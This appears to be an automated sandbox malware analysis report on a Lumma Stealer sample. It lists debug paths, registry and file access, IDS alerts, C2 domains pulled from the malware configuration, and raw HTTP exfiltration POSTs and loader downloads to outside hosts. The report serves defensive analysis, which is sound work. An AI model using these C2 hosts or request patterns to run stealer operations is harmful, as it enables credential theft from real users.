Source:	Binary string: Q:\bin\ReleaseUnicode\IncrediABU.pdb@e source: ImApp.exe, 0000000B.00000002.3965748566.0000000000641000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImLookU.pdb source: ImApp.exe, 00000007.00000002.3547472119.0000000067B90000.00000002.00000001.01000000.0000000B.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758939495.0000000067B90000.00000002.00000001.01000000.00000019.sdmp, ImApp.exe, 0000000B.00000002.3975561628.0000000067B90000.00000002.00000001.01000000.00000019.sdmp, ImApp.exe, 0000000C.00000002.4152510462.0000000067B90000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: i:\Infra\Communication\bin\release\IMHttpComm.pdb source: ImApp.exe, 00000007.00000002.3532427610.0000000003285000.00000002.00000001.01000000.00000013.sdmp, ImApp.exe, 00000008.00000002.3745746920.0000000003285000.00000002.00000001.01000000.00000021.sdmp, ImApp.exe, 0000000B.00000002.3966007675.0000000000785000.00000002.00000001.01000000.00000021.sdmp, ImApp.exe, 0000000C.00000002.4146076693.0000000003275000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImNtUtilU.pdbD0 source: ImApp.exe, 00000007.00000002.3547632924.0000000067F7E000.00000002.00000001.01000000.0000000C.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3759078226.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000B.00000002.3975753172.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000C.00000002.4152670173.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImNtUtilU.dll.5.dr
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.4571654074.0000000007502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImLookExU.pdb source: ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3547163300.0000000067B08000.00000002.00000001.01000000.00000014.sdmp, ImApp.exe, 00000008.00000002.3758634364.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000B.00000002.3975156581.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000C.00000002.4152378089.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImLookExU.dll.7.dr
Source:	Binary string: Q:\bin\ReleaseUnicode\ImNtUtilU.pdb source: ImApp.exe, 00000007.00000002.3547632924.0000000067F7E000.00000002.00000001.01000000.0000000C.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3759078226.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000B.00000002.3975753172.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000C.00000002.4152670173.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImNtUtilU.dll.5.dr

Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49719 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49719 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49734 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49734 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49752 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49834 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2025010 - Severity 1 - ET MALWARE Powershell commands sent B64 1 : 104.21.71.43:443 -> 192.168.2.6:49848

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 104.121.10.34 443			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 217.144.184.19 1466			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: story-tense-faz.sbs
Source: Malware configuration extractor	URLs: disobey-curly.sbs
Source: Malware configuration extractor	URLs: frogs-severz.sbs
Source: Malware configuration extractor	URLs: motion-treesz.sbs
Source: Malware configuration extractor	URLs: occupy-blushi.sbs
Source: Malware configuration extractor	URLs: blade-govern.sbs
Source: Malware configuration extractor	URLs: leg-sate-boat.sbs
Source: Malware configuration extractor	URLs: powerful-avoids.sbs

Source: global traffic

TCP traffic: 192.168.2.6:49999 -> 217.144.184.19:1466

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.360.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.baidu.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /int_clp_inter.txt HTTP/1.1Host: klipdajemua0.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 103.235.47.188 103.235.47.188
Source: Joe Sandbox View	IP Address: 103.235.47.188 103.235.47.188
Source: Joe Sandbox View	IP Address: 104.121.10.34 104.121.10.34

Source: Joe Sandbox View	ASN Name: SKYNET-ASSkynetLTDEkaterinburgRussiaRU SKYNET-ASSkynetLTDEkaterinburgRussiaRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49719 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49734 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49817 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49752 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49834 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49787 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49848 -> 104.21.71.43:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49798 -> 104.21.8.82:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49772 -> 104.21.8.82:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BSIDKV46F6YLJELUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12841Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MC8RBR8HEWBUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IX9AS61OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19903Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZEZBO9XXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1182Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UN9B23029D9FAMGLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572581Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: c3.digital-odyssey.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_inter.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipdajemua0.shop

Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.144.184.19
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_00409770 #1,#310,#6735,memset,_invalid_parameter_noinfo,_invalid_parameter_noinfo,_invalid_parameter_noinfo,#731,_invalid_parameter_noinfo,_invalid_parameter_noinfo,_invalid_parameter_noinfo,#2311,#3391,URLDownloadToCacheFileW,#6735,#1363,#3391,#1472,#578,#578,_invalid_parameter_noinfo,#3391,_invalid_parameter_noinfo,_invalid_parameter_noinfo,_invalid_parameter_noinfo,_invalid_parameter_noinfo,#578,#578,

7_2_00409770

Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_inter.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipdajemua0.shop
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.360.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.baidu.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /int_clp_inter.txt HTTP/1.1Host: klipdajemua0.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199047877636 HTTP/1.1Host: steamcommunity.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip

Source: ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: Cghttps://www.facebook.com/login.phphttp://graph.facebook.com/oauth/authorize_cancelhttps://graph.facebook.com/oauth/authorize_cancelhttps://www.facebook.com/home.php#access_token=\|%7CLoadingPage.htmloadingw%%% equals www.facebook.com (Facebook)
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.facebook.com/connect/login_success.htmlhttps://www.facebook.com/connect/login_success.htmlhttps://graph.facebook.com/oauth/authorize?display=popup&type=user_agent&client_id=%s&redirect_uri=%s&scope=%sLogin \| Facebook<HTML><HEAD></HEAD><BODY SCROLL=NO><div style="position:absolute; top:40%%; left:20; text-align:center; width:100%%; display:block;"><img src="%s" width="%d" height="%d"/></div></BODY></HTML> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: c3.digital-odyssey.shop
Source: global traffic	DNS traffic detected: DNS query: klipdajemua0.shop
Source: global traffic	DNS traffic detected: DNS query: www.360.net
Source: global traffic	DNS traffic detected: DNS query: 360.net
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: c3.digital-odyssey.shop

Source: ImApp.exe, 00000007.00000002.3547723010.000000006ADE1000.00000020.00000001.01000000.0000000E.sdmp, ImApp.exe, 00000008.00000002.3759159459.0000000068D91000.00000020.00000001.01000000.0000001D.sdmp, ImApp.exe, 0000000B.00000002.3975883708.000000006CA01000.00000020.00000001.01000000.0000001D.sdmp, ImApp.exe, 0000000C.00000002.4152797541.000000006CA01000.00000020.00000001.01000000.0000001D.sdmp	String found in binary or memory: ftp://http://HTTP/1.0
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: b6FArHy7yA.exe, 00000000.00000003.2702059151.000000000069F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4562108678.0000000003006000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571654074.0000000007536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#3
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://incredimail.com
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/?loc=ff_address_bar_fs&search=CImFireFoxBrowser::SetFullSetupBrowserA
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/?loc=ff_search_box_fs&search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/dutch/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/dutch/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/english/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/english/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/french/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/french/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/german/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/german/?search=
